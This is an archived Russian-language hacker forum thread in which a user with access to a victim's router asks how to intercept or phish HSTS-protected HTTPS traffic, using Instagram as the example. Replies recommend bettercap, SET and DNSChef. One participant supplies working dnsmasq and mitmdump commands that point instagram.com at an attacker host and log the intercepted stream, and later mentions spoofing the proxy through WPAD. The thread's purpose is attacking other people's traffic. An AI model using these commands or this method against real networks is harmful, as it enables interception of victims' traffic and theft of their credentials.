PDA

Просмотр полной версии : Как использовать доступ к роутеру для атак на HTTPS-сайты с технологией HSTS?


distribution
30.03.2024, 01:57
Что можно сделать, находясь с жертвой в одной локальной сети и имея доступ к панели роутера и его настройкам? APR spoofing, DNS spoofing - это, конечно, все хорошо, но они работают только на HTTP. Что же можно сделать, если жертва посещает сайты с HTTPS с технологией HSTS (то есть не дает подключаться по HTTP, а работает только по HTTPS)? В таком случае даже SSL strip не прокатит. Может быть, можно что-то изменить в настройках роутера и при переходе, например, на https://instagram.com, перенаправлять на свой фишинговый сайт или использовать какой-то другой метод атаки, который работает на HTTPS. Жду ваши идеи.

Fr0sty
30.03.2024, 12:19
distribution сказал(а):

Что можно сделать, находясь с жертвой в одной локальной сети и имея доступ к панели роутера и его настройкам? APR spoofing, DNS spoofing - это, конечно, все хорошо, но они работают только на HTTP. Что же можно сделать, если жертва посещает сайты с HTTPS с технологией HSTS (то есть не дает подключаться по HTTP, а работает только по HTTPS)? В таком случае даже SSL strip не прокатит. Может быть, можно что-то изменить в настройках роутера и при переходе, например, на https://instagram.com, перенаправлять на свой фишинговый сайт или использовать какой-то другой метод атаки, который работает на HTTPS. Жду ваши идеи.


Смотря что за роутер. Нужно смотреть что роутер в принципе умеет и от этого уже подключать фантазию)

mcfly
30.03.2024, 13:11
можно снифать траффик HTTPS через bettercap в локалке и смотреть на какие сайты ходит юзер!

Fr0sty
30.03.2024, 13:34
mcfly сказал(а):

можно снифать траффик HTTPS через bettercap в локалке и смотреть на какие сайты ходит юзер!


Просто снифать его и смотреть на какие сайты человек заходит можно через любое подобное ПО))) Тут как я понял вопрос у человека в другом заключается

distribution
30.03.2024, 15:12
Fr0sty сказал(а):

Смотря что за роутер. Нужно смотреть что роутер в принципе умеет и от этого уже подключать фантазию)


Роутер: Totolink N300RT. Хотел снять видео внутри со всеми настройками, но не уверен безопасно ли это.

UserName011
03.04.2024, 10:33
Тоже задался этим вопросом недавно. Использовал DNSmasq+mitmproxy.
Из того что получилось сделать, если на роутере прописать свой DNS сервер, на нем реализовать резолв имен в твой адрес, а на адресе установить прокси, которая перешлет эти запросы на оригинальные ресурсы, то HSTS в этом случае не отрабатывает, но предупреждение выскакивает.
Например: у тебя есть хост 10.20.30.40, на нем ставишь mitmproxy с сертификатами самоподписанными и запускаешь DNSmasq, который скажет что instagram.com находится на 10.20.30.40. На роутере указываешь 10.20.30.40 в качестве DNS. Когда пользователь перейдет в браузере на сайт, у него всплывет окошко что серт недоверенный, но если проигнорирует, то трафик твой. Ну это конечно если он берет DNS роутера.

distribution
04.04.2024, 04:11
M0r7iF3r сказал(а):

Тоже задался этим вопросом недавно. Использовал DNSmasq+mitmproxy.
Из того что получилось сделать, если на роутере прописать свой DNS сервер, на нем реализовать резолв имен в твой адрес, а на адресе установить прокси, которая перешлет эти запросы на оригинальные ресурсы, то HSTS в этом случае не отрабатывает, но предупреждение выскакивает.
Например: у тебя есть хост 10.20.30.40, на нем ставишь mitmproxy с сертификатами самоподписанными и запускаешь DNSmasq, который скажет что instagram.com находится на 10.20.30.40. На роутере указываешь 10.20.30.40 в качестве DNS. Когда пользователь перейдет в браузере на сайт, у него всплывет окошко что серт недоверенный, но если проигнорирует, то трафик твой. Ну это конечно если он берет DNS роутера.


Вы имеете ввиду подмену сертификата и уже расшифровку трафика с помощью него? Я это пробовал, там пользователю вылазит огромное окно с предупреждением, где нужно 2 раза подтвердить что вы соглашаетесь зайти на небезопасный сайт, вряд ли кто-то поведется на это.
Вот видео с настройками роутера -https://youtu.be/Sf9fKo4vZMs
Может там что-то интереснее найдете что можно использовать.

UserName011
05.04.2024, 11:54
distribution сказал(а):

Вы имеете ввиду подмену сертификата и уже расшифровку трафика с помощью него? Я это пробовал, там пользователю вылазит огромное окно с предупреждением, где нужно 2 раза подтвердить что вы соглашаетесь зайти на небезопасный сайт, вряд ли кто-то поведется на это.
Вот видео с настройками роутера -https://youtu.be/Sf9fKo4vZMs
Может там что-то интереснее найдете что можно использовать.


Нет, не подмену серта.
Еще раз попробую описать. Берем хост 1.2.3.4, ставим на него dnsmasq и в нем настраиваем ответ на instagram.com - 1.2.3.4. Настраиваем там же на 443 порту mitmproxy. На роутере прописываем DNS - 1.2.3.4. В этом случае будет то же самое что при отсутствии HSTS.
Можно попробовать эти две команды. Не помню делал ли доп настройки для mitmproxy, только если ssl включал и вешал на 443 порт.

Bash:



dnsmasq --no-daemon --log-queries --domain
=
instagram.com --address
=
/.instagram.com/1.2.3.4 --local
=
/instagram.com/


Bash:



sudo
mitmdump --anticache --anticomp --ssl-insecure --certs instagram.com
=
./cert.pem --set
block_global
=
false --save-stream-file /tmp/stream.log

Михаил мм
05.04.2024, 13:17
Ну есть могу лишь предложить переадресацию на твой dns(на твой сайт), попробуй прогу SET.

distribution
05.04.2024, 19:39
M0r7iF3r сказал(а):

Нет, не подмену серта.
Еще раз попробую описать. Берем хост 1.2.3.4, ставим на него dnsmasq и в нем настраиваем ответ на instagram.com - 1.2.3.4. Настраиваем там же на 443 порту mitmproxy. На роутере прописываем DNS - 1.2.3.4. В этом случае будет то же самое что при отсутствии HSTS.
Можно попробовать эти две команды. Не помню делал ли доп настройки для mitmproxy, только если ssl включал и вешал на 443 порт.

Bash:



dnsmasq --no-daemon --log-queries --domain
=
instagram.com --address
=
/.instagram.com/1.2.3.4 --local
=
/instagram.com/


Bash:



sudo
mitmdump --anticache --anticomp --ssl-insecure --certs instagram.com
=
./cert.pem --set
block_global
=
false --save-stream-file /tmp/stream.log



Попробовал то, что вы сказали, но ничего не получилось. Иногда Instagram отказывается запускаться, иногда сайты говорят, что настройки DNS неверны, иногда появляется ошибка в MITM и файлы логов оказываются пустыми, как на видео. Возможно, я что-то делаю не так, или этот способ уже устарел? Если все еще работает, не могли бы вы записать коротенькое видео, показывающее правильную организацию процесса? Был бы очень признателен!

distribution
05.04.2024, 19:43
Михаил мм сказал(а):

Ну есть могу лишь предложить переадресацию на твой dns(на твой сайт), попробуй прогу SET.


Вы имеете в виду dns spoof? Только вместо spoof'a напрямую прописать DNS в роутере?

Михаил мм
05.04.2024, 19:58
DNS shef вроде прога была, с ней явно легче

Михаил мм
05.04.2024, 20:00
Сам понимаешь, https тебе не расшифровать. Нужно искать другие пути. Если у тебя даже есть доступ к настройкам роутера, вероятно это уже больше половины дела

UserName011
08.04.2024, 13:32
distribution сказал(а):

Попробовал то, что вы сказали, но ничего не получилось. Иногда Instagram отказывается запускаться, иногда сайты говорят, что настройки DNS неверны, иногда появляется ошибка в MITM и файлы логов оказываются пустыми, как на видео. Возможно, я что-то делаю не так, или этот способ уже устарел? Если все еще работает, не могли бы вы записать коротенькое видео, показывающее правильную организацию процесса? Был бы очень признателен!

Щас протестил, совсем забыл про нюанс, у меня клиент был доменный, поэтому я ему еще и прокси через WPAD подменил, mitmdump как раз как прокси отработал.
Правда хз получится ли такой прикол с инстаграмом, я делал на ресурс компании пользователя, он был намного проще без поддоменов, для которых тоже надо серт подтверждать.